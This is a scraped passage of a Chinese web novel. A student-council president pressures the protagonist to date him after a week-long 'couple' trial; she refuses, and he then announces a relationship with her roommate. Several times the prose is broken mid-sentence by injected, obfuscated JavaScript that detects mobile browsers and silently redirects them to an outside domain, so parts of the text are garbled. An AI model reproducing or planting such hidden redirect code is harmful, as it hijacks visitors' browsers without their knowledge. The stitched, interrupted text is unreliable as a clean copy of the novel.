庄森芽不知道他问这个是想做什么,也没心思猜测对方的打算,可能精英人士都希望对时间有掌控感,不管后面有没有安排,都必须知道当下的事情什么时候结束。 裴佑哲的头发是正统的黑色,而且他似乎从来都没有染过。 画笔沾着深浅不一的黑,在纸面上一缕又一缕勾勒出发丝的纹路,将头发的层次感表现得当,使二维的画面更贴近三维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14710920|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的现实。 接下来是衣服,虽然他穿的是蓝白两色的礼服,颜色简单,但褶皱和纹理的细节还是不能忽略。 画画这件事情讲求一个耐心,就算是名闻天下的大画家,其笔下的作品也是一笔笔画出来的。 只不过,人家可能用两笔就能勾勒出一个整洁的领口,但她需要先打草稿,再铺颜色,再上光影,最后再钩轮廓。 花十倍的时间做同样的事情,这就是普通人和天才之间的区别,她知道自己还有很漫长的路要走。 画完了头发和衣物,终于,作画来到了尾声。 庄森芽直起身伸了个懒腰,让眼睛稍微从画纸上离开,放松一下,然后换个角度再去观察它,这样很容易就能从整体上看出问题。 她又沾了各色的水彩,开始调整局部的色泽、光影,使整个画面和谐统一。 忙完了这些,这幅肖像画终于完成了。 她长舒了一口气,欣赏着自己的大作,等待颜料在画纸上晾干。 画面上的人十分生动,仿佛是在某个晚会的中场,他穿着整洁的礼服,偶然来到无人的露台,侧望着远处的某个地方,深邃的眼眸使他看起来炽热又冷静,仿佛他毕生的渴望就在那个方向,但当下求而不得。 “我画完了。”她对裴佑哲说。 沙发上的人闻言,从几小时的姿势当中解脱,他站起来,来到摆放着画纸和颜料的桌旁,盯着上面的那副半身肖像画。 庄森芽有点紧张地盯着他。 虽然她自己对这幅画挺满意的,但是不知道对方怎么想。 裴佑哲把画纸从桌面上提了起来,在自己眼前端详。 他有一阵子没开口说话,脸上也没什么表情,让一旁局促地站着的庄森芽感觉忐忑不已。 片刻之后,他笑了。 不是讽刺的笑,而是一个相当温和的笑容。 这个笑容看得她有点发愣,她都不记得上次看到裴佑哲这样的表情是在什么时候了,他好像已经很久不在她面前展露笑颜。 “画得不错。”他说。 这句话更是让庄森芽愣在原地。 他这是夸奖她了? 她做牛做马这么多天,从一开始兢兢业业处理他交代下来的学生会的任务,到后来几天谨小慎微地陪同他去各种场合出席,她从来没有收到过他的半句鼓励或者什么。 裴佑哲总是一副冷冰冰的态度,仿佛她做这些都是义务,是责任,是不需要嘉奖的付出。 当然,这些都是考核的一部分,说是她必须做到的事情也不为过,但是人都希望在努力过后收到一些正面的反馈,而不是一个接一个冷硬的新要求。 现在,她得到了想要的,却是有点受宠若惊。 原还以为直到这个‘一周情侣’的考核结束,都不会得到什么鼓励。 “画我可以留着吧?”裴佑哲问她。 “可、可以。”庄森芽有点磕磕绊绊地回答。 裴佑哲继续端详着那幅画,脸上的表情看起来十分平和。 他好像哪里有点不太一样了,变化变来得突然,她有点措手不及。 庄森芽观察着对方,慢慢有点回过味来。 是因为这幅画画得还不错,他开心了,所以态度才柔和下来吗? “森芽。”他突然唤她。 “嗯。”她应。 “考核结束了,你通过了。” 他话音落下,她还有点没反应过来。 今天是‘一周情侣’的最后一天,按理来说,今夜过去之后,才算完整的一周,所以她没有期盼过这场考核会提前结束。 然而,对方却说她通过了。 这段话的意思是……她已经证明了自己,可以继续留在学生会了吗? 114. 最终目的 裴佑哲的目光从水彩画上抽离,看向她,脸上依然带着笑意,“怎么愣住了?” “呃……”她一时说不出话来。 裴佑哲盯着她的目光是温和的,就好像这些天的冷漠灰飞烟灭,仿佛之前那个人不是他,而是被夺舍了一样。现在的裴佑哲又恢复成了她熟悉的样子,宽和,得体,会留意她的情绪。 她有点恍惚。 真的就这么结束了? 这持续一周的噩梦,终于不再缠绕着她了? 裴佑哲把画放回到桌子上,对她说:“这一周辛苦你了,很累吧?” 听到那种温柔到无以复加的声线,庄森芽几乎有点热泪盈眶。 真的回来了?这是梦境还是现实? 冷冰冰的裴佑哲消失不见,从前那个亲和的学生会主席回来了? “佑哲你……”她几乎是有点愣愣地盯着他,巨大的转变让她一时反应迟钝,“……不生我的气了吗?” 她指的是导致这场严厉的考核的罪魁祸首——那次海岛旅游时,她被迫对他说的那番话。 对方的态度就是从那次开始陡然转变的。 裴佑哲垂下眸子,笑意浅微,“最开始还有点,但现在已经不了。” 听到他这么说,庄森芽顿时只觉得自己的胸口酸胀酸胀的。 怎么回事,她怎么会有种掉眼泪的冲动。 这种感觉就好像玩了很多年的伙伴突然反目成仇,今日终于仇恨化解,两人重归于好,令人感动不已。 “佑哲,那天的事对不起……”她记得自己很早就已经道过歉了,但并不影响她再一次表达歉意,“我不是诚心要那么说。” “事情已经过去了,没关系。” “我真的不是想要污蔑你的名誉。” 她一直记得这场考核之初,裴佑哲是怎么对她说的。大概的意思就是: 她那番说他‘有了喜欢的人还和别的女人上床’的话,是在传播恶劣的谣言,而学生会不欢迎这种污蔑他人、品行不正的人。但考虑她可能只是一时犯错,所以才会有了这场主席亲自下场监督的考核。 听到她这么说,裴佑哲轻轻叹了口气,几乎是露出有点自愧的情绪,“那时我也有点气昏头了……我知道你不是那样的人,对不起,森芽。” 他反而向她道歉,态度看起来极其诚恳。 看着对方歉疚的目光,听到他一次又一次柔和的话语,庄森芽这才敢真真正正地确定,曾经那个裴佑哲回来了。 这些天都是出于考核的需要,所以他一直在冷漠相待,他并不是真的对她失望透顶,以至于永远都不打算与她重归于好。 想明白了这些,庄森芽只感觉眼眶有点泛酸。 但她忍住了,感觉这时候要是掉眼泪就太脆弱了。 只不过是七天的小小考核,以及七天的冷眼以待,她遭受过比这更恶劣的对待,所以没什么的。 她瘪着嘴,控制着自己的嘴角,一旦放松感觉泪水就要掉下来,就这样露出一个有点难看的笑容。 重归于好的节点终归需要一些仪式感,或者是话语,或者是动作,那代表以前的旧怨全部翻篇。 裴佑哲向她张开了双臂,那是一个象征着冰释前嫌的邀请。 庄森芽没有疑虑,拥了上去,紧紧抱住了对方,就像对待阔别已久的老友那样。 她心想,一切终于能恢复如初了。 将来裴佑哲还会是她重要的朋友,他们会是如同兄妹一样的关系。 他知道她高中的时候遭受过什么,惧怕什么;她也知道他完美的外表下有着一个怎样的灵魂,它不那么坚强,也会有带刺的时候。 他们知道彼此真实的一面,信赖会让这份关系更加牢固,就算家室背景的相差巨大,相信他们也会成为彼此珍重的朋友。 庄森芽是这么认为的。 她以为裴佑哲一定也是这么想。 直到对方下一句话出口。 在那之前,这个拥抱迟迟没有分开,久到庄森芽开始觉得时间有点太长了。 她推了推对方的肩,示意他分开,然而下一刻,却是被裴佑哲抱得更紧。 身后的两条手臂十分牢固,她感觉自己整个人都被揉进了对方的怀里。 她有点困惑,张口唤他,“佑哲……?” 裴佑哲的脑袋微垂着,两人的侧颊几乎相贴,距离只剩毫厘。 “森芽。”他开口,音色是略显低沉的,“和我正式交往吧。” 装修古典的客厅里,一切都很安静,壁炉没有燃烧,也没有家佣经过这里。 话语是唯一的声音,而当裴佑哲的尾音落下后,也不再有其他的声响了。 庄森芽只觉得自己的脑袋有点昏沉,大约花了两三秒才反应过来那是什么意思。 ‘一周情侣’来到了最后一天,虽然它充满了严格的考核任务,而且两人什么情侣之间的事情也没做,但表面上给它的叫法却引人遐想。 传闻往届的学生会考核中,但凡开展了这项‘一周情侣’环节,就会在刚开学的时候促成很多对真正的情侣,而且关系都相当稳定。 可是庄森芽从来不期望这种事情发生在自己的身上。 裴佑哲刚才说的话,一开始令她感到惊讶,渐渐地,抗拒接踵而至。 要她和他正式交往?听起来就是一件绝对不能答应的、惹祸上身的事。 “等等,佑哲……”她推搡着对方的肩膀,想从这个有点变味的怀抱里挣脱出来,“你在说什么……?” 她权当是自己听错了,或者理解错了他的意思。 且不管她本人的态度,裴佑哲又怎么会想要和她交往呢? 他已经明确地说过,他不喜欢她了。 裴佑哲将她松开了一些,但依然用一只手稳稳托着她的背,不让距离拉得太远。 他用一双布满了诚恳的眼睛看她,话语却带着些公事公办的意味,“以往,‘一周情侣’的考核结束之后,两名成员并不会直接分手,这是件约定俗成的事。要是直接分开,就代表这两人在这一周的相处之中关系并不融洽,将来在学生会的合作也不一定会团结和睦,所以不会有人直接在考核结束之后就提分手,往往会继续接触一段时间。” 听裴佑哲的意思,他是想要遵循这个传统,所以才提出正式交往的请求,而并非出于什么感情方面的考虑——庄森芽是这么认为的。 “可是……”她有点犹豫。 且不说他们没有在谈恋爱,并没有分手一说…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711702|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续和裴佑哲保持恋爱关系?她隐约感觉要是答应了的话,自己绝对会成为众矢之的。 因为,她和裴佑哲根本就不匹配。 他是高高在上的学生会主席,她只是学生会里一个连个职位都没有的小兵; 他家境优渥,她家面临破产; 他看起来十足正派,有领导众人的天资,而她染头画画特立独行,一看就不是什么乖学生。 不匹配,怎么看都不匹配。 而且,她要是真的和他继续交往下去,喜欢裴佑哲的那些人绝对会把她的皮扒了。 想到这里,她连连摇头,“这不太合适吧,佑哲……我们要是继续相处的话,那……那……玥诗会怎么想?” 她实在找不到借口了,拿自己的舍友出来当挡箭牌。 裴佑哲的眉毛皱了皱,像是不明白为什么庄森芽会在此刻提起这个人,“和她有什么关系?” “在校园里,你们是公认的一对。”她笃定。 虽然她现在已经知道了裴佑哲并不喜欢石玥诗这件事情,但是学校里的学生并不知道,学生会的人也不知道,所有人都还以为这是一对神仙眷侣,只有三番五次亲眼见到这两人斗来斗去的她知道真相是什么。 裴佑哲眉间的沟壑不展,他否定,“我和她不是。” “玥诗不是说她怀孕了吗?”她搜肠刮肚地寻找着借口,想起一个月前在一个小教室中听到的交谈,“你得……对人家负责。” “没有那样的事。”裴佑哲的眉毛舒展了一些,“那只是她的手段之一,我已经和她斗了很久了,你应该能看出来些什么吧?” 她的确隐约知道这两个人是怎么回事,石玥诗那天在宿舍也清楚地和她表达过:她喜欢裴佑哲,但裴佑哲不喜欢她,可她绝对不会因为这样就放弃。 事实就是这么的简单,求而不得。 却因为偏偏要得到,所以简单的事情越来越复杂。 “可是,她是我的舍友,而且我们关系还不错,我不希望因为这样的事情——” “森芽。”裴佑哲打断了她,用双手扣住她的双肩,“这和别人都没关系,是只属于我们两个人的事情。” 庄森芽有点被对方的气场震慑住了,一时无话。 他的眼神中尽是诚恳与希冀,“我是真的想要和你交往。” “如果……是因为‘一周情侣’的传统的话——” “和那个也没关系。”裴佑哲的声音放轻了一些,有种自我检讨的意味,目光也垂落下去,“刚才我说那些……只是些借口。” 见到他这副模样,庄森芽只听自己的心里咯噔一声。 不是心跳加速的咯噔声,而是大事不妙的咯噔声。 和‘一周情侣’的传统没有关系,只是直白的想要交往——裴佑哲传达出来的就是这个意思。 然而这不是她期望的展开。 好不容易结束了这一周的地狱考核,裴佑哲又恢复成了从前那个友善的学长,就在她以为一切都将向好这时候,居然是这样一个惊天霹雳砸了下来。 砸得她措手不及。 她已经不知道该作何回应了,像一只被高速公路上急速飞奔的车辆吓坏的松鼠,耸着肩膀,呆愣在原地。 115. 应验 “我知道你不喜欢我。”裴佑哲看着她的目光几乎是恳求的,下垂的睫毛几乎像是被雨水打湿了一样,使人心生怜惜,“暗示了这么久,你却无动于衷,我早就知道这个事实了。我不是在要求你很快喜欢上我,只是先和我试一试。” 听他这么说,庄森芽下意识地张张口,却是哑然。 为什么裴佑哲突然想要和她交往?而且也不是出于‘一周情侣’的传统或者其他什么被动的目的,只是出于个人意愿,想要和她在一起。 他不是不喜欢她吗……而且他也知道她不喜欢他,那交往的意义又是? 她想不明白。 但不管怎样,对方提出的无疑是个骇人听闻的请求。 和他试一试? 和这个地位高于她,一度将她使唤来使唤去,一言不和就能让她留级的定时炸弹在一起? 怎么听都是出卖自己自由的决定。 虽然裴佑哲看起来已经变得和以前一样了,但他既然手握学生会主席的权力,就代表随时都有压制她的天然优势。 宛如一同生活的猎豹和羚羊,能够融洽的相处不是因为羚羊和猎豹拥有势均力敌的力量,而是因为猎豹心慈手软,没有对弱者张开血盆大口。 这考验的完全是猎豹的慈悲心怀,而与羚羊的想法无关。 她是永远被动的,生命永远掌握在别人的手中,她不安全,也不自由。 待在裴佑哲的身边就是这样一种感觉。 他拥有毁灭性的力量和权势,道德感让他不会这么做,但事事变化莫测,谁也不知道明天会发生什么。 庄森芽仍想拒绝,她知道自己眼前的是一个绝对不可踏入的泥沼。 可是她却又在犹豫,只因为一件事情。 那就是突然恢复如初的裴佑哲。 人总是患得患失的,好不容易盼来了这个平易近人的学长,她唯恐因为自己的拒绝而让那个冰冷若冰霜的裴佑哲回来,她这些天已经受够了他的冷脸。 所以当他以一副亲和的姿态重归的时候,她几乎感动到热泪盈眶。 而在这个人提出进一步的要求时,她又因为恐惧失去而进退两难。 此情此景,让她有一些即视感,不是因为经历过相似的事情,而是好像有人说过相似的话。 那个人说:裴佑哲一定会在某天突然对你很好,而后他会提出更加过分的要求,你因为不想失去那个亲和的他,而会无比的动摇,以至于答应他的任何要求。 这段话在她心里敲响了警钟。 一切是顺水推舟发展成了这样,还是谁的悄然设计? 裴佑哲在这个节点和她说这些话,是知道她难以拒绝,还是一个无心的偶然? 思绪被这些内容阻塞着,她有半天都没说话。 恍惚之中,只觉得身前的人靠得越来越近,他那双恳求的眼睛越放越大,距离近到庄森芽能看清他眼中自己的倒影。 手臂在背后收紧了一些,她感觉到对方在把自己拉向他。 呼吸喷洒在面部,一种即将触碰的警觉之感让她回过神来。 唇间的距离只剩一指,她顿时反应过来这是在做什么,猛然发力推开了对方。 裴佑哲没有料到她突然的动作,踉跄了一下,后腰撞在摆着水彩肖像画和颜料的桌边,发出一声巨响。 这声响动让庄森芽有点担惊受怕,她怔愣一下,脸上露出歉意,“对不起,我用太大力了……” 对方垂着脑袋,一时看不见表情。 “佑哲,你没事吧?”她担忧地上前两步。 “……为什么。”他垂着头问,声音听起来有些消沉,“为什么拒绝我。” 庄森芽一时语塞。 拒绝的原因太多了,她想不到说哪一个比较好。 说哪一个的伤害是最小的,不至于让对方被激怒或者被击倒。 裴佑哲抬起头来,目光是带着点忧伤的,这在他脸上并不常见,“为什么?” “我……我配不上你。”她找到了一个不带有攻击性的借口。 然而对方并不接受,“我不在乎配不配得上。” “可是我在乎。”庄森芽连忙说,“你太优秀了,我和你在一起有压力。” “高中的时候怎么没见你害怕。”裴佑哲紧盯着她,眼中渐渐浮现出执着的目光,“打赌打输了跑来向我告白,我提出画漫画的条件,你想也不想就答应了。越长大,却越畏手畏脚了吗?” “那是另一码事……” 裴佑哲的视线落在桌子上,他拿起那张水彩的肖像画,举在两人之间。 “高中的时候,我们说好了只要漫画画完就交往。既然你说当时那个漫画你已经没有在画了,你不承认《灵月十四》是它的续作,那么就用这幅肖像画代替吧。” “这——” 他目光灼灼,不留任何喘息的片刻,言语紧逼而至,“你为我完成了这幅水彩肖像画,就算做是完成了当年的约定。你不打算履行它吗?” 庄森芽感到十分为难。 她早就把当年的那个约定抛到脑后了,也一度认为裴佑哲根本就没把它当回事。 可他现在却把它拎了出来,要重新履行。 她不懂他的执着,并且这令人困惑的执着让人很不好受。 裴佑哲虽然不会给人很强的压迫感,但他却擅长带来一种更为窒息的情绪,他的威胁是不可见的,但确确实实存在。 如果她不答应的话,今天他们还能好好收场吗? 如果她执意拒绝的话,裴佑哲还会继续友善下去吗? 这一个两个令人困扰的问题在脑海里盘旋,使人坚定的内心不断动摇。 如果是曾经的她的话,可能就答应了。 勉强和这个在各方面都优于自己很多的人交往,然后开始自卑,对对方的偏爱患得患失,最终不可避免地变成一个言听计从的傀儡。 但是现在的她做不到这样,她无法迈出走向泥沼的第一步。 不光是因为看清了这有可能是个自我毁灭的泥潭,更是因为打从心里拒绝着这样的关系。 因为她……并不喜欢对方。 她知道喜欢该是怎样的,是无法控制的雀跃,是波动的情绪,是难以遏制的接近。 而这些都在她与裴佑哲之间没有发生。 她答应了,这就将变成一段不负责任的感情。 对他不负责,对她自己也不负责,更是对某些尚在萌芽的情愫不负责。 “佑哲……”她十分艰难地开口。 不愿意三番五次让对方难过,但做不到的事情就是做不到。 庄森芽狠了狠心,说道:“那个约定,在我心里已经不作数了。” 她说完这句话的时候,裴佑哲的脸色有些紧绷。 “……不作数了?” “谁都有小时候开玩笑的时候,不是吗。” 只是因为一场被算计的赌局而被迫发生的告白,只是因为想要和同班同学赌气而接受的条件,其中没有一丝的真心诚意。 桌边,裴佑哲垂下了眼睛,表情变得有些空白,目光坠落在自己那张肖像画上。 他看了良久,指尖拂过已经干涸的纸面,视线不知为何几乎有点依依不舍。 “你还记得最初,你问我为什么要公开你是《灵月十四》的作者那件事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她以为这个世界上最不会做出这种事情的人,却偏偏做了这样的事。 庄森芽有些发愣地盯着那个垃圾桶,迟迟回不过神来。 她还记得,高中的时候,自己的画被隔壁班的男生们拿到操场上,像风筝一样拴着玩弄,最终它掉在地上,破破烂烂,是裴佑哲捡起来还给了她。 可是现在,把她的画像垃圾一样丢掉的人也是裴佑哲。 “我还有事,不能送你回学校了。”他温和的声音传来,仿佛又回到过去,变成那个平易近人的他。 可是只有站在这里经历了这一切的当事人知道,他已经不再是以前那个人了。 或许他刚才有机会变成那个曾经的他,但是她拒绝了这唯一的可能。 “你自己回去吧。”裴佑哲丢下这样一句话,往通往连廊的大门走,身影很快就消失了。 庄森芽被晾在一个于她而言并不熟悉的地方。 房间里没有开暖气,偌大的客厅显得有些凄冷。 原本她还在热烈地经历着重归于好的情节,可是转瞬之间,只因一次拒绝,那热情就散了。 一切发生的太曲折突然,心情像坐过山车一样跌宕起伏。 这种滋味的确不好受,如果她再患得患失一点,可能真的会因为害怕对方再度变得冷若冰霜,而答应他的要求。 但她不会。 她既清醒,又难受。 就这么在原地呆站了一阵子,停车坪上传来跑车启动的响声。 回过神来,往窗外看去。 天色已经开始变得昏黄,她得走了。 116. 一周情侣总结会 她步行离开了裴佑哲的家,走出了它巨大的庭院。 这附近似乎是富人区,公交线路并不那么发达,她又徒步走出去了一段距离,才找到了一个公交车站。 坐在摇摇晃晃的铁皮大箱子里,看着外面的落日,只觉得心情有些惆怅。 没想到‘一周情侣’会是这样的收场。 最终还是闹得不太开心。 她所说的那句‘过去的约定已经不作数’似乎让裴佑哲很不满意,他态度截然的变化就是从那个时候开始的。 他还说,当初公布她是《灵月十四》的作者,就是想要警告她,人不能变心,过往的承诺既然做出了就要遵守。 于情于理,她觉得自己应该生裴佑哲的气,因为是他没有经过她的同意就将这件事情宣布了出去,居然还是因为这种让人无法接受的理由。 可是她怎么都气不起来,她好像就是没办法对裴佑哲生气,不管是公布她是作者的事,还是这一周想尽办法的折腾,她都没有对他生出过极端怨怼的情绪。 说来也奇怪,这些事情哪怕单拎出来一件,如果换个人——比如诺特斯——对她这么做的话,她都会大发雷霆。 她不清楚这究竟是因为什么,同样的事情换了一个人,自己的态度绝对会截然不同。 究竟是她对裴佑哲太宽容,还是这人本身就拥有一种让人很难置气的气质;又或者是她对诺特斯太吝啬,要么,就是越在意越容易被牵动情绪。 她已经想不明白了,只感觉疲惫。 已经画了一整天的画,又经历了刚才那场令人紧绷的不能算告白的告白,可谓是精疲力竭。 裴佑哲从头到尾都没有说过喜欢她,可却要求她和他在一起。 庄森芽不明白这是怎样的心理,也没有精力再去想了。 车辆载着她,摇摇晃晃,颠来颠去,公交车司机熟悉这条线路,开起来的时候有种不顾乘客死活的暴力之美。 盯着手机只会反胃,从未晕过车的她可算知道晕车大抵是什么感受。 于是放下手机,打开窗户,吹着凛冽的风,又因为脸被冻得麻木,而很快关上了窗户。 公交车停在了临近学校的车站,她下车,感受到手机在嗡嗡作响,于是就在站台里低头看了起来。 本次学生会新人的考核群中,负责人发了一条消息,大概意思是:‘一周情侣’已经结束,明早在活动大楼开展总结会,需要双方均到场。 意思是,她明天很快又要见到裴佑哲了。 不禁心烦意乱,不知道该怎么面对他。 想索性不去了,可是这次的考核活动和自己的学分有关系,不去是不可能的。 “烦死了……” 早知道这样,最初就不应该加入学生会,找一个兢兢业业的小社团呆着不是更好?贪图学生会的油水的下场就是这样。 回到校园,钻进宿舍,她火速趴回自己的小窝,像甲壳生物一样蜷缩起身体。 所有的考核都结束了,裴佑哲说她考核通过了,她已经彻底地自由。 这是唯一能让人高兴起来的事情了。 她暗自给自己鼓着气,心想着,所有的不如意很快就会过去,裴佑哲对她的执着也会随着时间而消散,等到他不再感兴趣的时候,他们就能重修旧好,恢复以往的相处模式。 只要有耐心……只要给足耐心的话……时间会带走一切的。 庄森芽不断如此安慰着自己。 舍友莫茹洗漱之后就上了床,而石玥诗的位置一如既往是空着的,只不过,有些意外的,今天连汪素文都不在。 大概是还在哪里和费洛鬼混吧,真好,她也想要拥有那么轻松的考核。 临近夜半的时候,宿舍门打开,一个轻盈的脚步声由外至内,听起来应该是她们总是不着家的那个舍友回来了。 灯已经熄了,石玥诗没有发出太大的响动,她坐在自己的位置上鼓捣着些什么,时不时哼两句非常轻的小曲,心情不错的样子。 而庄森芽之所以知道这些,是因为她还没有完全睡去,脑袋浑浑噩噩的,朦朦胧胧之中听到了舍友的声响。 她翻了个身,那些声音倏然不见了,她沉沉地睡了过去。 第二天早上,她仍记得昨天收到的那条消息,所有接受考核的学生会成员都要去活动大楼参加总结会。 洗漱了一番,穿上御寒的衣物,打开门的时候刚巧石玥诗也要出门,于是两人并肩走了一段。 话不太多,而且不聊重点,有关学业、天气、食物,她们谈论得很正常,但内容总是堪堪避开裴佑哲。 这是两人之间一个非常敏感的话题,如果没有必要的话,庄森芽是打死也不会提及的。 裴佑哲只是一个住在男生宿舍、几天也见不到一面的人,但接下来三年多,她都要和石玥诗住在同一间小屋里。 该和谁避免冲突,该与谁和谐以待,已经很清楚了。 两人一同进了电梯,又走出电梯,离开206宿舍楼,一同往教学区的方向走。 一开始,庄森芽以为石玥诗是去上课或者处理学生会文艺部的事情,然而,与她并肩走过了校内的湖泊,经过教学区林立的大楼,两人却是一同进入了活动楼,并且坐电梯来到了相同的楼层,这还不算完,她们甚至一前一后来到了总结会的场地门外。 这下庄森芽可算是反应过来了,石玥诗的目的地可能和她是完全一致的。 不过这却很难让人理解,对方既没有作为新人接受考核,也不是考核新人的一方,那她今天来这里是做什么? 没有过多过问对方的目的,因为说实话,她和这个总是不在宿舍里呆着的舍友没那么熟,而且最近这段时间,石玥诗总是给人一种生人勿近的气场,那导致庄森芽不是那么敢于去和对方搭话。 进门之后,她找了个角落的位置坐下,石玥诗则非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740246|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常自然而然地坐在了第一排,就仿佛将要在这场会议中担任什么重要角色一般。 人员纷纷到场,没过多久,庄森芽就看到费洛和汪素文走了进来,两人挨得很近,彼此有说有笑,就差没有把手牵在一起。 汪素文发现了后排的庄森芽,于是带着自己的黄毛‘男友’走过来,坐在了庄森芽的旁边。 “森芽,这一周玩得开心吗?”汪素文天真无邪地问她。 庄森芽有苦说不出,她这一周和开心可丝毫不沾边,不知道其他组的经历是怎样的,她只能说自己接受的是实打实的考核,不光是肉|体上的,更包括心灵上。 现在她倒有点期望裴佑哲最后那番请求交往的话也是考核的一环,如果他能今天突然站出来说,‘那只是为了考验你的定力,而你经受住了诱惑’,她真的会谢天谢地的。 “还好吧,哈哈。”她糊弄了过去,目光落在好兄弟的身上,“狗哥这几天带你玩得挺开心?” 汪素文可可爱爱地笑起来,“我们去吃了好多好吃的,看了好多好看的电影和真人秀,还去了动物园和海底世界,学长说上茂市还有好多好玩的地方,他都要带我去。” 另一边,费洛把鼻子扬得老高,“我早就把上茂市研究得透透的了,跟着我,你就放心吧,包你玩得满意。” 汪素文满眼期待,“太厉害了,学长。” 费洛在这一声声学长中迷失了自我,开始天花乱坠地自吹自擂,而汪素文也很捧场,他说什么她都表现出一副赞叹敬佩的模样。 另一边,庄森芽渐渐忽略了这两人的谈话,因为场地内的坐席差不多坐满了,活动的负责人也站在了讲台上,这代表总结会马上就要开始。 她看了一眼自己身旁留出的空位,又私下打量了一番总结会场地,没有在这之中发现学生会主席的身影。 负责人开始讲话,首先是恭喜所有的参与考核的新人全部都通过了这次的测验,其次则是宣布将要履行一个小传统,那就是有请每一对‘情侣’上台演讲,陈述这一周的过往,并表示是否愿意和对方继续相处下去。 裴佑哲以及一些其他的人都和她说过,‘一周情侣’结束之后,依然继续做情侣,这是不成文的规定。 放眼望去,这些‘情侣们’相处得似乎的确都还不错,要么是含情脉脉地看着彼此,要么是发展成了一种别样的战友情。 而庄森芽身边只有一捧空气。 在负责人的引导下,一队又一队新生的‘情侣’走上台去,叙述他们这一周的经历,挑些引人发笑的、令人深思的、使人感慨地讲,每一队的故事都让人印象深刻。 到了费洛和汪素文的时候,画风突变,变成了奇幻世界的奇妙探险,充斥着美食和玩乐,没有半点严肃的氛围,最后两人落得一个不带贬义的‘傻瓜夫妇’的称号。 眼瞧着没有做陈述总结的‘情侣’越来越少了,可是裴佑哲依旧没有现身。 117. 意料之外的官宣 就在倒数第二对‘情侣’做完陈述之后,庄森芽紧张地等待着负责人叫她和裴佑哲的名字。 然而,他们却被径直忽略了过去。 听着主持人做最后的陈述总结,庄森芽感觉到无比的困惑。 ……这是被遗漏了?还是被故意跳了过去? 是因为知道裴佑哲今天没办法出席,所以负责人干脆也不请他们来上台演讲了吗? 好事是好事,可早知道这样,她今天就不来了,何必折腾这么一趟…… 然而,就在这么想的时候,活动室的门开了,学生会主席的身影就这么走了进来。 负责人将讲台让给了他,裴佑哲登上高位,回到非常适合他的被众人注视的位置,气质淡泊,嘴角带着浅笑,风姿卓越。 “相信这次‘一周情侣’的活动都为大家带去了宝贵的经验。”他接替了刚才那位主讲人的职责,对这场考核活动进行最后的陈述,“我很开心你们每一个人都能和自己的同伴好好相处,也很高兴见到,几乎所有的小组成员都表达了愿意和对方继续相处下去的意愿。将来,不管你们愿意成为朋友还是真正的情侣,相信这段关系都将成为一段情比金坚的情谊。” 他说完这段话,台下的人开始鼓掌。 这个一开始让部分人有些抵触的‘情侣’活动竟能圆满收场,多多少少还是有些出人意料。 那些一开始看不顺眼的,经过了解也能够体谅,那些饶有兴趣的,更是进一步加深了缔结。 坐在角落的庄森芽表示很忐忑。 难道只有她的经历如此跌宕起伏,最终不欢而散? “主席,你和你的‘伴侣’不上台发表一下感言吗?”这时候,下面突然有人哪壶不开提哪壶。 庄森芽顿时屏息凝神。 还是逃不过。 裴佑哲的目光朝她看了过来,但只是轻轻掠过一瞬,就仿佛未曾看见。 “这个……我有一些个人的难处。”裴佑哲说,他视线落在第一排,眼神变得柔情,伸出一只手来,那是一个邀请的手势,“不过正好聊到了这里,我想借机宣布一件事情。” 第一排,一个窈窕的背影站了起来,那是石玥诗。 她走上讲台,步伐轻缓,宛如白天鹅一样,站在学生会主席的一旁。 两人犹如天神下凡,几乎在发光,看得人挪不开眼睛。 裴佑哲温柔地侧望着身边的人,牵起她修长白皙的手,“我想在这一天正式公布——我们在一起了。” 空气安静的一瞬间,人们睁大了眼睛看着讲台上的神仙眷侣。 紧接着,下方爆发出了热烈的庆贺声。 “真的假的?!” “官宣了!!” “我靠,真在一起了?” “你知道我这一年多是怎么过的吗,就仿佛在追一个大型的连续剧……不过还好,有情人终于眷属……” “怎么这么突然……” “大新闻!学生会主席和文艺部副部长在一起了!!” 一时间,房间内嘈杂不堪。 坐在角落的庄森芽愣愣地盯着这一切,发展出乎了意料,她以为自己马上就要上台丢人献丑了,可没想到裴佑哲却抛出来一个重磅炸弹。 明明昨天还说着一些否定自己和石玥诗关系的话,还说什么他们之间已经斗了很久了,可是过了一夜,眨眼之间,这两人却十分般配地站在一起,俨然是所有人眼中都艳羡的那种情侣。 